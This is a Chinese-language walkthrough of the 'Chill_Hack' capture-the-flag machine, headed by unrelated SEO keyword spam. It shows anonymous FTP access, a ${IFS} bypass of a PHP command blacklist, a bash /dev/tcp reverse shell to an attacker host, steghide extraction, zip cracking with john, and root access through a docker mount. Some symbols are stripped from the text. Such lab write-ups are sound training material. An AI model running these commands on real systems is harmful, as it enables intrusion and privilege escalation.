门诊部网站建设,wordpress快速插图,app定制公司,wordpress 主题 美化版Chill_Hack
信息搜集
存活检测 arp-scan -l
详细扫描 扫描结果 显示允许 ftp 匿名链接
FTP 匿名登录 匿名登陆 ftp 下载文件并查看 anonymous10.4.7.139下载命令 get note.txt查看文件 译 Anurodh告诉我#xff0c;在命令 Apaar 中有一些字符串过滤后台扫描 扫描结果…Chill_Hack
信息搜集
存活检测 arp-scan -l
详细扫描 扫描结果 显示允许 ftp 匿名链接
FTP 匿名登录 匿名登陆 ftp 下载文件并查看 anonymous10.4.7.139下载命令 get note.txt查看文件 译 Anurodh告诉我在命令 Apaar 中有一些字符串过滤后台扫描 扫描结果
命令绕过 查看 secret 秘密网页 出现一个命令框 尝试输入命令 whoami 输入命令 ls 弹出警示界面结合之前 ftp 获取的信息命令存在字符串过滤尝试绕过 尝试 /bin/ls 可以使用命令 猜测其对一些关键词进行了过滤 反弹 shell我看的攻略目前不知道具体的过滤规则在后面反弹 shell 成功后查看源码时分析绕过原理 bash -c bash -i /dev/tcp/10.4.7.132/8888 01
# 替换空格
bash${IFS}-c${IFS}bash${IFS}-i${IFS}${IFS}/dev/tcp/10.4.7.132/8888 01连接成功 使用 script 回显 /usr/bin/script -qc /bin/bash /dev/null提权
命令绕过原理 此时可以看到 index.php 中的命令注入过滤规则 /var/www/html/secret /index.php 删除了不重要的渲染后留下了过滤原理字段 html
bodyform methodPOSTinput idcomm typetext namecommand placeholderCommandbuttonExecute/button
/form
?phpif(isset($_POST[command])){$cmd $_POST[command]; //输入的指令包括空格传入到变量 $cmd 中$store explode( ,$cmd); //以空格为分隔符将每个字符串存入到 $store 数组$blacklist array(nc, python, bash,php,perl,rm,cat,head,tail,python3,more,less,sh,ls);//过滤的关键字for($i0; $icount($store); $i) //比较数组中每个字符串如果和过滤的字符之一匹配则直接 return不执行任何命令{for($j0; $jcount($blacklist); $j){if($store[$i] $blacklist[$j]){?h1 stylecolor:red;Are you a hacker?/h1
?php return;}}}// 若没有匹配到过滤的关键字则执行输入的指令?h2 stylecolor:blue;?php echo shell_exec($cmd);?/h2?php }
?
/body
/html因为以空格为分隔符将分隔出的字符串与过滤的关键字匹配可以使用 ${IFS} 绕过 Linux 中${IFS}可以代替空格 可以看到二者效果相同 所以只需在过滤的关键字旁边使用${IFS}代替空格就可实现过滤的绕过 bash${IFS}-c bash -i /dev/tcp/10.4.7.132/8888 01密码获取 sudo -l 查看权限 允许 apaar 用户使用 文件 /var/www/files 下提示 靶机开启新的 http 服务供 kali 下载图片分析 提取隐写文件 steghide extract -sf hacker-with-laptop_23-2147985341.jpg解压文件 提示输入密码 密码爆破 zip2john backup.zip backup.john
# 将名为 backup.zip 的 ZIP 文件的密码哈希提取出来并将结果保存到名为 backup.john 的文件中john --wordlist/usr/share/wordlists/rockyou.txt backup.john 成功破解密码 pass1word 解压并查看 base64 解密 IWQwbnRLbjB3bVlwQHNzdzByZA
# 结果
!d0ntKn0wmYpssw0rdssh 登录 apaar 用户失败 在家目录下找到其他两个用户尝试登录 成功登录
docker 逃逸提权 依旧无 suid 权限 上传漏洞扫描文件 运行 查看 docker 镜像 docker images提权 docker run -it -v /root:/mnt alpine在容器中运行 Alpine 镜像并将主机的 /root 目录挂载到容器的 /mnt 目录。 具体来说命令的各个部分的含义如下 docker run运行一个 Docker 容器。 -it创建一个交互式的终端会话并分配一个伪终端。 -v /root:/mnt将主机的 /root 目录挂载到容器的 /mnt 目录。 容器中的 /mnt 目录将显示主机中 /root 目录的内容并且对 /mnt 目录的更改将反映在主机的 /root 目录中。 alpine指定要运行的容器镜像这里是 Alpine 镜像。 alpine 容器提供了一个基于 Alpine Linux 的最小化运行环境 通过这个命令可以在 Alpine 容器中访问和操作主机上的 /root 目录中的文件和目录。 提权成功
总结
命令绕过
隐写
docker 逃逸提权 首先使用命令docker images 用于查看本地已下载的镜像 REPOSITORY # 镜像仓库
TAG # 镜像标签
IMAGE ID # 镜像ID
CREATED # 镜像创建时间
SIZE # 镜像大小如果不存在 就可以先下载个镜像然后把 root 文件夹挂载到上面 使用命令 docker run alpine chroot 来下载镜像文件 不存在docker镜像情况下使用 将root文件夹挂载在上面 docker run -it -v /root:/mnt alpine将文件夹挂载到mnt文件夹 Docker挂载命令逃逸 -v /root(需要挂载得目录):/abc新建挂载目录
参数 -v 将容器外部的目录 / 挂载到容器内部因为 docker 环境运行得时候是需要 root 权限的所以可以实现提权的目的